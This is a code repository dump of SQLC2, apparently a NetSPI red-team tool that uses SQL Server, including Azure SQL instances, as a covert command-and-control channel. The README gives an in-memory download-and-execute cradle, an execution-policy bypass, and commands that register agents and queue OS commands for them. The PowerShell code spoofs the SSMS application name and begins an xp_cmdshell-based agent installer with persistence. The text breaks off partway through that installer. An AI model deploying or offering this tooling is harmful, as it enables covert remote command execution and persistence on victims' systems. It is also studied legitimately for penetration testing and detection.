├── LICENSE
├── README.md
├── SQLC2.ps1
├── csharp
└── sqlc2cmds.cs
├── images
├── Get-Command-Results.png
├── Install_SQLC2_Link_Agent.png
├── Install_SQLC2_Server.png
├── List execute agent commands.png
├── Set Command to Run on Agent.png
└── arch.png
└── tsql
└── Install-SQLC2AgentLink.sql
/LICENSE:
--------------------------------------------------------------------------------
1 | *************************************************************
2 |
3 | Copyright (c) 2018, NetSPI
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of SQLC2 nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SQLC2
2 | SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. At its core, SQLC2 is just a PowerShell script, a TSQL script, and a few tables in an SQL Server instance that tracks agents, commands, and results. Nothing too fancy, but it may prove to be useful on some engagements.
3 |
4 | For a more complete overview of SQLC2 check out the blog at https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
5 |
6 | ### Author and License
7 | * Author: Scott Sutherland (@_nullbind), NetSPI - 2018
8 | * License: BSD 3-Clause
9 | * Required Dependencies: None
10 |
11 | # Why Bother with a SQL Server Based C2?
12 | More companies are starting to use Azure SQL Server databases. When those Azure SQL Server instances are created, they are made accessible via a subdomain of database.windows.net on port 1433. For example, I could create SQL Server instance named "mysupersqlserver.database.windows.net". As a result, some corporate network configurations allow outbound internet access to any "database.windows.net" subdomain on port 1433.
13 |
14 | The general idea is that as Azure SQL Server adoption grows, there will be more opportunity to use SQL Server as a control channel that looks kind of like normal traffic. SQLPS is a pretty basic proof of concept, but I think it’s functional enough to illustrate the idea. I know there are quite a few improvements to be made, but if you end up playing with it, I’d love your feedback.
15 |
16 | ### Not Just for Azure
17 | Although there is an emphasis on using SQLC2 with Azure SQL Server instances, you could host your own SQL Server in any cloud environment and have it listen on port 443 with SSL enabled. So, it could offer a little more flexibility depending on how much effort you want to put into it.
18 |
19 | # Loading SQLC2
20 | * **Option 1:** Download the script and import it. This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies, so you may want to use the bypass option.
21 |
22 | `Set-ExecutionPolicy Bypass -Scope Process`
23 |
24 | `Import-Module SQLC2.ps1`
25 |
26 | * **Option 2:** Load it into a session via a download cradle. This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies.
27 |
28 | `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")`
29 |
30 | **Note:** To run as an alternative domain user, use the runas command to launch PowerShell first.
31 |
32 | `runas /noprofile /netonly /user:domain\user PowerShell.exe`
33 |
34 | # Basic SQLC2 architecture diagram
35 | 
36 |
37 | # User Functions
38 | Below is a list of user functions that support the intended workflows.
39 |
40 | |Function Name|Description |
41 | |:--------------------------------|:-----------|
42 | |Install-SQLC2Server|Install SQLC2 tables on target SQL Server/database.|
43 | |Install-SQLC2AgentPs|Install an agent that uses an SQL Server agent job and server link.|
44 | |Install-SQLC2AgentLink|Install an agent that uses a schedule task or registry key to execute PowerShell commands.|
45 | |Set-SQLC2Command|Set operating system commands for agents to run.|
46 | |Get-SQLC2Command|Get a list of pending operating system commands from the C2 for the agent. This can also execute the pending command with the -Execute flag.|
47 | |Get-SQLC2Agent|Get a list of agents registered on the SQLC2 server.|
48 | |Get-SQLC2Result|Get a list of pending and completed commands. Support servername, status, and cid filters.|
49 | |Remove-SQLC2Agent|Remove agents registered on the SQLC2. Simply clears the history.|
50 | |Remove-SQLC2Command|Remove the command history on the SQLC2 server.|
51 | |Uninstall-SQLC2AgentLink|Uninstall SQLC2 agent that uses server links and an agent job.|
52 | |Uninstall-SQLC2AgentPs|Uninstall all operating system based persistence methods.|
53 | |Uninstall-SQLC2Server|Remove the SQLC2 tables from the target database.|
54 |
55 | # Screen Shots
56 | Below are a few sample screenshots.
57 |
58 | Install SQLC2 Server (Create tables):
59 |
60 | `Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'`
61 |
62 | 
63 |
64 | Install SQLC2 Agent (SQL Server agent Job that uses a server link):
65 |
66 | `Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'`
67 |
68 | 
69 |
70 | View SQLC2 Agents:
71 |
72 | `Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'`
73 |
74 | 
75 |
76 | Set Command to Run on Agent:
77 |
78 | `Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
79 | -Command "Whoami" -ServerName MSSQLSRV04`
80 |
81 | 
82 |
83 | Get Command Results:
84 |
85 | `Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'`
86 |
87 | 
88 |
89 |
--------------------------------------------------------------------------------
/SQLC2.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | Script: SQLC2.psm1
3 | Version: 1.0
4 | Description: This is a basic PoC script that contains functions that can be
5 | used to install and manage a C2 via a SQL Server instance.
6 | The C2 SQL Server is intended to be hosted remotely or in Azure
7 | via a database.windows.net address. The client functions can be
8 | run by a schedule task or other means for periodic check in
9 | and command grabbing from the C2 SQL Server.
10 | Author: Scott Sutherland (@_nullbind), NetSPI 2018
11 | License: BSD 3-Clause
12 | #>
13 |
14 |
15 | # ----------------------------------
16 | # Get-SQLC2ConnectionObject
17 | # ----------------------------------
18 | # Author: Scott Sutherland
19 | Function Get-SQLC2ConnectionObject
20 | {
21 | <#
22 | .SYNOPSIS
23 | Creates a object for connecting to SQL Server.
24 | .PARAMETER Username
25 | SQL Server or domain account to authenticate with.
26 | .PARAMETER Password
27 | SQL Server or domain account password to authenticate with.
28 | .PARAMETER Credential
29 | SQL Server credential.
30 | .PARAMETER Database
31 | Default database to connect to.
32 | .PARAMETER AppName
33 | Spoof the name of the application you are connecting to SQL Server with.
34 | .PARAMETER Encrypt
35 | Use an encrypted connection.
36 | .PARAMETER TrustServerCert
37 | Trust the certificate of the remote server.
38 | .EXAMPLE
39 | PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp"
40 | StatisticsEnabled : False
41 | AccessToken :
42 | ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application
43 | Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes
44 | ConnectionTimeout : 1
45 | Database : Master
46 | DataSource : server1
47 | PacketSize : 8000
48 | ClientConnectionId : 00000000-0000-0000-0000-000000000000
49 | ServerVersion :
50 | State : Closed
51 | WorkstationId : Workstation1
52 | Credential :
53 | FireInfoMessageEventOnUserErrors : False
54 | Site :
55 | Container :
56 | #>
57 | [CmdletBinding()]
58 | Param(
59 | [Parameter(Mandatory = $false,
60 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
61 | [string]$Username,
62 |
63 | [Parameter(Mandatory = $false,
64 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
65 | [string]$Password,
66 |
67 | [Parameter(Mandatory = $false,
68 | HelpMessage = 'Windows credentials.')]
69 | [System.Management.Automation.PSCredential]
70 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
71 |
72 | [Parameter(Mandatory = $false,
73 | ValueFromPipelineByPropertyName = $true,
74 | HelpMessage = 'SQL Server instance to connection to.')]
75 | [string]$Instance,
76 |
77 | [Parameter(Mandatory = $false,
78 | HelpMessage = 'Dedicated Administrator Connection (DAC).')]
79 | [Switch]$DAC,
80 |
81 | [Parameter(Mandatory = $false,
82 | HelpMessage = 'Default database to connect to.')]
83 | [String]$Database,
84 |
85 | [Parameter(Mandatory = $false,
86 | HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
87 | [string]$AppName = "",
88 |
89 | [Parameter(Mandatory = $false,
90 | HelpMessage = 'Use an encrypted connection.')]
91 | [ValidateSet("Yes","No","")]
92 | [string]$Encrypt = "",
93 |
94 | [Parameter(Mandatory = $false,
95 | HelpMessage = 'Trust the certificate of the remote server.')]
96 | [ValidateSet("Yes","No","")]
97 | [string]$TrustServerCert = "",
98 |
99 | [Parameter(Mandatory = $false,
100 | HelpMessage = 'Connection timeout.')]
101 | [string]$TimeOut = 1
102 | )
103 |
104 | Begin
105 | {
106 | # Setup DAC string
107 | if($DAC)
108 | {
109 | $DacConn = 'ADMIN:'
110 | }
111 | else
112 | {
113 | $DacConn = ''
114 | }
115 |
116 | # Set database filter
117 | if(-not $Database)
118 | {
119 | $Database = 'Master'
120 | }
121 |
122 | # Check if appname was provided
123 | if($AppName){
124 | $AppNameString = ";Application Name=`"$AppName`""
125 | }else{
126 | $AppNameString = ""
127 | }
128 |
129 | # Check if encrypt was provided
130 | if($Encrypt){
131 | $EncryptString = ";Encrypt=Yes"
132 | }else{
133 | $EncryptString = ""
134 | }
135 |
136 | # Check TrustServerCert was provided
137 | if($TrustServerCert){
138 | $TrustCertString = ";TrustServerCertificate=Yes"
139 | }else{
140 | $TrustCertString = ""
141 | }
142 | }
143 |
144 | Process
145 | {
146 | # Check for instance
147 | if ( -not $Instance)
148 | {
149 | $Instance = $env:COMPUTERNAME
150 | }
151 |
152 | # Create connection object
153 | $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
154 |
155 | # Set authentcation type - current windows user
156 | if(-not $Username){
157 |
158 | # Set authentication type
159 | $AuthenticationType = "Current Windows Credentials"
160 |
161 | # Set connection string
162 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString"
163 | }
164 |
165 | # Set authentcation type - provided windows user
166 | if ($username -like "*\*"){
167 | $AuthenticationType = "Provided Windows Credentials"
168 |
169 | # Setup connection string
170 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString"
171 | }
172 |
173 | # Set authentcation type - provided sql login
174 | if (($username) -and ($username -notlike "*\*")){
175 |
176 | # Set authentication type
177 | $AuthenticationType = "Provided SQL Login"
178 |
179 | # Setup connection string
180 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString"
181 | }
182 |
183 | # Return the connection object
184 | return $Connection
185 | }
186 |
187 | End
188 | {
189 | }
190 | }
191 |
192 |
193 | # ----------------------------------
194 | # Get-SQLC2Query
195 | # ----------------------------------
196 | # Author: Scott Sutherland
197 | Function Get-SQLC2Query
198 | {
199 | <#
200 | .SYNOPSIS
201 | Executes a query on target SQL servers.
202 | .PARAMETER Username
203 | SQL Server or domain account to authenticate with.
204 | .PARAMETER Password
205 | SQL Server or domain account password to authenticate with.
206 | .PARAMETER Credential
207 | SQL Server credential.
208 | .PARAMETER Instance
209 | SQL Server instance to connection to.
210 | .PARAMETER DAC
211 | Connect using Dedicated Admin Connection.
212 | .PARAMETER Database
213 | Default database to connect to.
214 | .PARAMETER TimeOut
215 | Connection time out.
216 | .PARAMETER SuppressVerbose
217 | Suppress verbose errors. Used when function is wrapped.
218 | .PARAMETER Threads
219 | Number of concurrent threads.
220 | .PARAMETER Query
221 | Query to be executed on the SQL Server.
222 | .PARAMETER AppName
223 | Spoof the name of the application you are connecting to SQL Server with.
224 | .PARAMETER Encrypt
225 | Use an encrypted connection.
226 | .PARAMETER TrustServerCert
227 | Trust the certificate of the remote server.
228 | .EXAMPLE
229 | PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15
230 | .EXAMPLE
231 | PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15
232 | .EXAMPLE
233 | PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15
234 | #>
235 | [CmdletBinding()]
236 | Param(
237 | [Parameter(Mandatory = $false,
238 | ValueFromPipelineByPropertyName = $true,
239 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
240 | [string]$Username,
241 |
242 | [Parameter(Mandatory = $false,
243 | ValueFromPipelineByPropertyName = $true,
244 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
245 | [string]$Password,
246 |
247 | [Parameter(Mandatory = $false,
248 | HelpMessage = 'Windows credentials.')]
249 | [System.Management.Automation.PSCredential]
250 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
251 |
252 | [Parameter(Mandatory = $false,
253 | ValueFromPipelineByPropertyName = $true,
254 | HelpMessage = 'SQL Server instance to connection to.')]
255 | [string]$Instance,
256 |
257 | [Parameter(Mandatory = $false,
258 | ValueFromPipelineByPropertyName = $true,
259 | HelpMessage = 'SQL Server query.')]
260 | [string]$Query,
261 |
262 | [Parameter(Mandatory = $false,
263 | HelpMessage = 'Connect using Dedicated Admin Connection.')]
264 | [Switch]$DAC,
265 |
266 | [Parameter(Mandatory = $false,
267 | HelpMessage = 'Default database to connect to.')]
268 | [String]$Database,
269 |
270 | [Parameter(Mandatory = $false,
271 | HelpMessage = 'Connection timeout.')]
272 | [int]$TimeOut,
273 |
274 | [Parameter(Mandatory = $false,
275 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
276 | [switch]$SuppressVerbose,
277 |
278 | [Parameter(Mandatory = $false,
279 | HelpMessage = 'Spoof the name of the application your connecting to the server with.')]
280 | [string]$AppName = "Microsoft SQL Server Management Studio - Query",
281 |
282 | [Parameter(Mandatory = $false,
283 | HelpMessage = 'Use an encrypted connection.')]
284 | [ValidateSet("Yes","No","")]
285 | [string]$Encrypt = "Yes",
286 |
287 | [Parameter(Mandatory = $false,
288 | HelpMessage = 'Trust the certificate of the remote server.')]
289 | [ValidateSet("Yes","No","")]
290 | [string]$TrustServerCert = "Yes",
291 |
292 | [Parameter(Mandatory = $false,
293 | HelpMessage = 'Return error message if exists.')]
294 | [switch]$ReturnError
295 | )
296 |
297 | Begin
298 | {
299 | # Setup up data tables for output
300 | $TblQueryResults = New-Object -TypeName System.Data.DataTable
301 | }
302 |
303 | Process
304 | {
305 | # Setup DAC string
306 | if($DAC)
307 | {
308 | # Create connection object
309 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
310 | }
311 | else
312 | {
313 | # Create connection object
314 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert
315 | }
316 |
317 | # Parse SQL Server instance name
318 | $ConnectionString = $Connection.Connectionstring
319 | $Instance = $ConnectionString.split(';')[0].split('=')[1]
320 |
321 | # Check for query
322 | if($Query)
323 | {
324 | # Attempt connection
325 | try
326 | {
327 | # Open connection
328 | $Connection.Open()
329 |
330 | if(-not $SuppressVerbose)
331 | {
332 | Write-Verbose -Message "$Instance : Connection Success."
333 | }
334 |
335 | # Setup SQL query
336 | $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
337 |
338 | # Grab results
339 | $Results = $Command.ExecuteReader()
340 |
341 | # Load results into data table
342 | $TblQueryResults.Load($Results)
343 |
344 | # Close connection
345 | $Connection.Close()
346 |
347 | # Dispose connection
348 | $Connection.Dispose()
349 | }
350 | catch
351 | {
352 | # Connection failed - for detail error use Get-SQLC2ConnectionTest
353 | if(-not $SuppressVerbose)
354 | {
355 | Write-Verbose -Message "$Instance : Connection Failed."
356 | }
357 |
358 | if($ReturnError)
359 | {
360 | $ErrorMessage = $_.Exception.Message
361 | #Write-Verbose " Error: $ErrorMessage"
362 | }
363 | }
364 | }
365 | else
366 | {
367 | Write-Output -InputObject 'No query provided to Get-SQLC2Query function.'
368 | Break
369 | }
370 | }
371 |
372 | End
373 | {
374 | # Return Results
375 | if($ReturnError)
376 | {
377 | $ErrorMessage
378 | }
379 | else
380 | {
381 | $TblQueryResults
382 | }
383 | }
384 | }
385 |
386 |
387 | # ----------------------------------
388 | # Get-SQLC2ConnectionTest
389 | # ----------------------------------
390 | Function Get-SQLC2ConnectionTest
391 | {
392 | <#
393 | .SYNOPSIS
394 | Tests if the current Windows account or provided SQL Server login can log into an SQL Server.
395 | .PARAMETER Username
396 | SQL Server or domain account to authenticate with.
397 | .PARAMETER Password
398 | SQL Server or domain account password to authenticate with.
399 | .PARAMETER Credential
400 | SQL Server credential.
401 | .PARAMETER Instance
402 | SQL Server instance to connection to.
403 | .PARAMETER DAC
404 | Connect using Dedicated Admin Connection.
405 | .PARAMETER Database
406 | Default database to connect to.
407 | .PARAMETER TimeOut
408 | Connection time out.
409 | .PARAMETER SuppressVerbose
410 | Suppress verbose errors. Used when function is wrapped.
411 | .EXAMPLE
412 | PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress"
413 | .EXAMPLE
414 | PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433"
415 | .EXAMPLE
416 | PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose
417 | #>
418 | [CmdletBinding()]
419 | Param(
420 | [Parameter(Mandatory = $false,
421 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
422 | [string]$Username,
423 |
424 | [Parameter(Mandatory = $false,
425 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
426 | [string]$Password,
427 |
428 | [Parameter(Mandatory = $false,
429 | HelpMessage = 'Windows credentials.')]
430 | [System.Management.Automation.PSCredential]
431 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
432 |
433 | [Parameter(Mandatory = $false,
434 | ValueFromPipeline = $true,
435 | ValueFromPipelineByPropertyName = $true,
436 | HelpMessage = 'SQL Server instance to connection to.')]
437 | [string]$Instance,
438 |
439 | [Parameter(Mandatory = $false,
440 | HelpMessage = 'Connect using Dedicated Admin Connection.')]
441 | [Switch]$DAC,
442 |
443 | [Parameter(Mandatory = $false,
444 | HelpMessage = 'Default database to connect to.')]
445 | [String]$Database,
446 |
447 | [Parameter(Mandatory = $false,
448 | HelpMessage = 'Connection timeout.')]
449 | [string]$TimeOut,
450 |
451 | [Parameter(Mandatory = $false,
452 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
453 | [switch]$SuppressVerbose
454 | )
455 |
456 | Begin
457 | {
458 | # Setup data table for output
459 | $TblResults = New-Object -TypeName System.Data.DataTable
460 | $null = $TblResults.Columns.Add('ComputerName')
461 | $null = $TblResults.Columns.Add('Instance')
462 | $null = $TblResults.Columns.Add('Status')
463 | }
464 |
465 | Process
466 | {
467 | # Parse computer name from the instance
468 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
469 |
470 | # Default connection to local default instance
471 | if(-not $Instance)
472 | {
473 | $Instance = $env:COMPUTERNAME
474 | }
475 |
476 | # Setup DAC string
477 | if($DAC)
478 | {
479 | # Create connection object
480 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database
481 | }
482 | else
483 | {
484 | # Create connection object
485 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database
486 | }
487 |
488 | # Attempt connection
489 | try
490 | {
491 | # Open connection
492 | $Connection.Open()
493 |
494 | if(-not $SuppressVerbose)
495 | {
496 | Write-Verbose -Message "$Instance : Connection Success."
497 | }
498 |
499 | # Add record
500 | $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
501 |
502 | # Close connection
503 | $Connection.Close()
504 |
505 | # Dispose connection
506 | $Connection.Dispose()
507 | }
508 | catch
509 | {
510 | # Connection failed
511 | if(-not $SuppressVerbose)
512 | {
513 | $ErrorMessage = $_.Exception.Message
514 | Write-Verbose -Message "$Instance : Connection Failed."
515 | Write-Verbose -Message " Error: $ErrorMessage"
516 | }
517 |
518 | # Add record
519 | $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
520 | }
521 | }
522 |
523 | End
524 | {
525 | # Return Results
526 | $TblResults
527 | }
528 | }
529 |
530 |
531 | # -------------------------------------------
532 | # Function: Get-SQLC2ComputerNameFromInstance
533 | # ------------------------------------------
534 | # Author: Scott Sutherland
535 | Function Get-SQLC2ComputerNameFromInstance
536 | {
537 | <#
538 | .SYNOPSIS
539 | Parses computer name from a provided instance.
540 | .PARAMETER Instance
541 | SQL Server instance to parse.
542 | .EXAMPLE
543 | PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
544 | SQLServer1
545 | #>
546 | [CmdletBinding()]
547 | Param(
548 | [Parameter(Mandatory = $false,
549 | ValueFromPipeline = $true,
550 | ValueFromPipelineByPropertyName = $true,
551 | HelpMessage = 'SQL Server instance.')]
552 | [string]$Instance
553 | )
554 |
555 | # Parse ComputerName from provided instance
556 | If ($Instance)
557 | {
558 | $ComputerName = $Instance.split('\')[0].split(',')[0]
559 | }
560 | else
561 | {
562 | $ComputerName = $env:COMPUTERNAME
563 | }
564 |
565 | Return $ComputerName
566 | }
567 |
568 |
569 | # ----------------------------------
570 | # Install-SQLC2Server
571 | # ----------------------------------
572 | # Author: Scott Sutherland
573 | Function Install-SQLC2Server
574 | {
575 | <#
576 | .SYNOPSIS
577 | This functions creates the C2 SQL Server tables in the target database.
578 | If the database does not exist, the script will try to create it.
579 | .PARAMETER Username
580 | SQL Server or domain account to authenticate with.
581 | .PARAMETER Password
582 | SQL Server or domain account password to authenticate with.
583 | .PARAMETER Credential
584 | SQL Server credential.
585 | .PARAMETER Instance
586 | SQL Server instance to connection to.
587 | .PARAMETER DAC
588 | Connect using Dedicated Admin Connection.
589 | .PARAMETER DatabaseName
590 | Database name that contains target table.
591 | .EXAMPLE
592 | PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1
593 | PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1
594 | #>
595 | [CmdletBinding()]
596 | Param(
597 | [Parameter(Mandatory = $false,
598 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
599 | [string]$Username,
600 |
601 | [Parameter(Mandatory = $false,
602 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
603 | [string]$Password,
604 |
605 | [Parameter(Mandatory = $false,
606 | HelpMessage = 'Windows credentials.')]
607 | [System.Management.Automation.PSCredential]
608 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
609 |
610 | [Parameter(Mandatory = $false,
611 | ValueFromPipelineByPropertyName = $true,
612 | HelpMessage = 'SQL Server instance to connection to.')]
613 | [string]$Instance,
614 |
615 | [Parameter(Mandatory = $false,
616 | ValueFromPipeline = $true,
617 | ValueFromPipelineByPropertyName = $true,
618 | HelpMessage = 'Database containing target C2 table.')]
619 | [string]$Database,
620 |
621 | [Parameter(Mandatory = $false,
622 | ValueFromPipeline = $true,
623 | ValueFromPipelineByPropertyName = $true,
624 | HelpMessage = 'ServerName of the agent.')]
625 | [string]$ServerName,
626 |
627 | [Parameter(Mandatory = $false,
628 | ValueFromPipeline = $true,
629 | ValueFromPipelineByPropertyName = $true,
630 | HelpMessage = 'Command to run on the agent.')]
631 | [string]$Command,
632 |
633 | [Parameter(Mandatory = $false,
634 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
635 | [switch]$SuppressVerbose
636 | )
637 |
638 | Begin
639 | {
640 | # Create data tables for output
641 | $TblResults = New-Object -TypeName System.Data.DataTable
642 | }
643 |
644 | Process
645 | {
646 | # Parse computer name from the instance
647 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
648 |
649 | # Default connection to local default instance
650 | if(-not $Instance)
651 | {
652 | $Instance = $env:COMPUTERNAME
653 | }
654 |
655 | # Test connection to instance
656 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
657 | $_.Status -eq 'Accessible'
658 | }
659 |
660 | # Test connection
661 | if($TestConnection)
662 | {
663 | if( -not $SuppressVerbose)
664 | {
665 | Write-Verbose -Message "$Instance : Connection Success."
666 | }
667 | }
668 | else
669 | {
670 | if( -not $SuppressVerbose)
671 | {
672 | Write-Verbose -Message "$Instance : Connection Failed."
673 | }
674 | return
675 | }
676 |
677 | Write-Verbose "$instance : Note: Creating DBs on thefly in Azure times out sometimes."
678 | Write-Verbose "$instance : Attempting to verify and/or create the database $Database..."
679 |
680 | # Create Database Query
681 | $Query = "
682 | If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database')
683 | CREATE DATABASE db1
684 | ELSE
685 | SELECT name FROM master..sysdatabases WHERE name like '$Database'"
686 |
687 | # Create Database results
688 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300
689 | $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count
690 | if($RowCount -eq 1)
691 | {
692 | Write-Verbose "$instance : Verified $Database database exists or was created."
693 | }else{
694 | Write-Verbose "$instance : Access or creation of $Database database failed."
695 | return
696 | }
697 |
698 | Write-Verbose "$instance : Creating the C2 Table in the database $Database."
699 |
700 | # Create Database Query
701 | $Query = "
702 | If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS')
703 | CREATE TABLE [C2COMMANDS]
704 | (
705 | [cid] int IDENTITY(1,1) PRIMARY KEY,
706 | [servername]varchar(MAX),
707 | [command]varchar(MAX),
708 | [result]varchar(MAX),
709 | [status]varchar(MAX),
710 | [lastupdate]DateTime default (Getdate())
711 | );
712 |
713 | If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS')
714 | CREATE TABLE [C2AGENTS]
715 | (
716 | [aid] int IDENTITY(1,1) PRIMARY KEY,
717 | [servername]varchar(MAX),
718 | [agentype]varchar(MAX),
719 | [lastcheckin]DateTime default (Getdate()),
720 | );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'"
721 |
722 | # Create Database results
723 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose
724 | $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count
725 | if($RowCount -eq 1)
726 | {
727 | Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database."
728 | }else{
729 | Write-Verbose "$instance : C2 tables creation failed in the $Database failed."
730 | }
731 |
732 | }
733 |
734 | End
735 | {
736 | # Return data
737 | # $TblResults
738 | }
739 | }
740 |
741 |
742 | # ----------------------------------
743 | # Install-SQLC2AgentPs
744 | # ----------------------------------
745 | # Author: Scott Sutherland
746 | Function Install-SQLC2AgentPs
747 | {
748 | <#
749 | .SYNOPSIS
750 | This functions installs a C2 Agent on the target SQL Server by creating a server link
751 | to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download
752 | commands from the C2 server and executes them. By default is execute OS command using xp_cmdshell.
753 | This requires sysadmin privileges on the target server.
754 | .PARAMETER Instance
755 | C2 SQL Server instance to connection to.
756 | .PARAMETER Username
757 | C2 SQL Server or domain account to authenticate with.
758 | .PARAMETER Password
759 | C2 SQL Server or domain account password to authenticate with.
760 | .PARAMETER DatabaseName
761 | Database name that contains target table on C2.
762 | .PARAMETER Type
763 | Type of persistence method to use.
764 | .EXAMPLE
765 | Connecting using current Windows credentials.
766 | PS C:\> Install-SQLC2AgentPs -Verbose -Instance cloudserver1.database.windows.net -Username sa -Pasword password! -Database database1
767 | .EXAMPLE
